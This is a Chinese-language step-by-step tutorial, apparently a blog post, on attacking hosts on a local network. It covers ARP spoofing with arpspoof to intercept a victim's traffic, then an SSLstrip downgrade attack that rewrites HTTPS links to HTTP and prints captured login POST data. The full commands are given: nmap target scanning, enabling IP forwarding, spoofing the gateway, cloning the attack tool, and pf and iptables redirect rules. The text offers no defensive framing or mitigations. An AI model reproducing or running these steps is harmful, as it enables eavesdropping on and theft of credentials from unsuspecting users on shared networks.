簡介
本文將介紹在局域網內,如何監聽受害者流量并通過 SSLstrip 攻擊獲取敏感信息,分為如下兩步:
- 中間人攻擊,監聽受害者流量
- SSLStrip 攻擊, 獲取敏感信息
中間人攻擊
中間人攻擊(man-in-the-middle),就是攻擊者扮演中間人進行攻擊,可以劫持一段會話,竊取憑證和其他機密信息。
ARP (地址解析協議)
ARP 協議負責通過 IP 地址找到 MAC 地址(物理地址 ),在以太網中,是利用 MAC 地址來通訊的。
ARP協議是這樣工作的:如主機B需要給主機A(IP為192.168.1.100)發送數據,為了知道誰是主機A,首先主機B發送一個廣播包給網內所有機器“誰是192.168.1.10”,正常情況其他機器忽略該消息,僅主機A回復“我是192.168.1.10”,于是通信就可以開始。所有的主機維護他們自己的ARP緩存表,所以不會每一次都發送廣播,ARP表中包含IP對應的MAC地址。
攻擊準備
mac 下準備
- 安裝 macports 官網
- 更新 macports
sudo port -d selfupdate
- 安裝 dsniff(包含 arp 攻擊的工具)
sudo port install dsniff
- 安裝 nmap
brew install nmap
(如果沒有安裝 Homebrew,可以去 Homebrew 官網
linux 下準備
- 安裝 dsniff
sudo apt-get install dsniff
- 安裝 nmap
sudo apt-get install nmap
攻擊步驟
一、尋找目標
使用nmap命令掃描局域網,獲得主機列表
如果所在局域網路由器地址是 192.168.16.1,可以使用 nmap -sP 192.168.16.1/24
掃描
-sP 表示使用 ping 方式掃描,192.168.16.1/24”表示掃描"192.168.16.1-192.168.16.254"這個網段的所有機器。
二、開啟 IP 轉發
ARP欺騙一般目的是把自己偽裝成網關,但如果不作處理,當被欺騙數據包到達后就會被本機丟棄(因為本機不是網關,不知道如何處理這類數據包),這當然是不允許的。開啟IP轉發功能可以解決該問題,IP轉發負責把該類數據包再轉發給真正的網關處理,開啟IP轉發的方法
mac 下:
sysctl -w net.inet.ip.forwarding=1
linux 下:
echo1 >/proc/sys/net/ipv4/ip_forward
三、ARP 欺騙
假設被攻擊的 IP 是 192.168.16.134,局域網的網關是 192.168.16.1,攻擊電腦使用的網卡接口是 en0(可以使用 ifconfig
命令查看), 則欺騙命令如下:
arpspoof -i en0 -t 192.168.16.134 192.168.16.1
四、分析數據
如果 ARP 欺騙成功,則被攻擊的設備會把所有數據先傳到我們電腦上,接下來可以使用 wireshark 軟件來分析數據。
至此,中間人攻擊完成,接下來可以開始進行 SSLstrip 攻擊。
SSLStrip 攻擊
SSLstrip 也叫 https 降級攻擊,攻擊者攔截用戶流量后,欺騙用戶與攻擊者進行 http 通信,攻擊者與服務器保持正常通信 (http 或 https),從而獲取用戶信息。
攻擊原理
- 通過中間人攻擊監聽 http 流量(自己試驗可以通過設置 http 代理)
- 更改重定向鏈接中的 location,替換 https 為 http,并記錄
- 更改響應內容中的超鏈接,替換 https 為 http,并記錄
- 與用戶進行 http 通信,與服務器進行 https 通信(記錄中本應是 https 的請求),從而明文獲取用戶信息
攻擊準備
- 監聽 http 流量
- 獲取攻擊代碼
git clone git@github.com:zsky/sslstrip.git
- 安裝 nodeJs
攻擊步驟
一、運行程序
命令行進入 sslstrip 程序的根目錄,輸入命令 node index.js
可以看到程序監聽的端口號,比如 8080
二、把流量導入到 sslstrip 程序
mac 下 (修改 mac 的packet filter):
在 /etc/pf.anchors 目錄下新建文件 http,內容如下
rdr pass on en0 proto tcp from any to any port 80 -> 127.0.0.1 port 8080
其中最后面的端口號(比如上面的 8080)就是 ssltrip 程序監聽的端口號-
修改 /etc/pf.conf 文件,在適當的位置加入
rdr-anchor "http-forwarding"
和load anchor "http-forwarding" from "/etc/pf.anchors/http"
兩行命令.比如 /etc/pf.conf 修改后可能是這樣:
# # com.apple anchor point # scrub-anchor "com.apple/*" nat-anchor "com.apple/*" rdr-anchor "com.apple/*" rdr-anchor "http-forwarding" dummynet-anchor "com.apple/*" anchor "com.apple/*" load anchor "com.apple" from "/etc/pf.anchors/com.apple" load anchor "http-forwarding" from "/etc/pf.anchors/http"
重啟 packet filter,依次輸入命令
sudo pfctl -ef /etc/pf.conf
和sudo pfctl -E
linux 下(修改 ip 轉發表):
輸入命令: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
其中最后面的端口號(比如上面的 8080)就是 sslstrip 程序監聽的端口號
如果攻擊完成后要刪除這條記錄可以輸入命令 iptables -t nat -D PREROUTING 1
查看 ip 轉發表: iptables -t nat -L
三、觀察 sslstrip 程序控制臺
此時監聽的數據會通過 sslstrip 程序,程序默認會把本應是 https 的post 請求(比如登錄之類的請求)的數據體打印到控制臺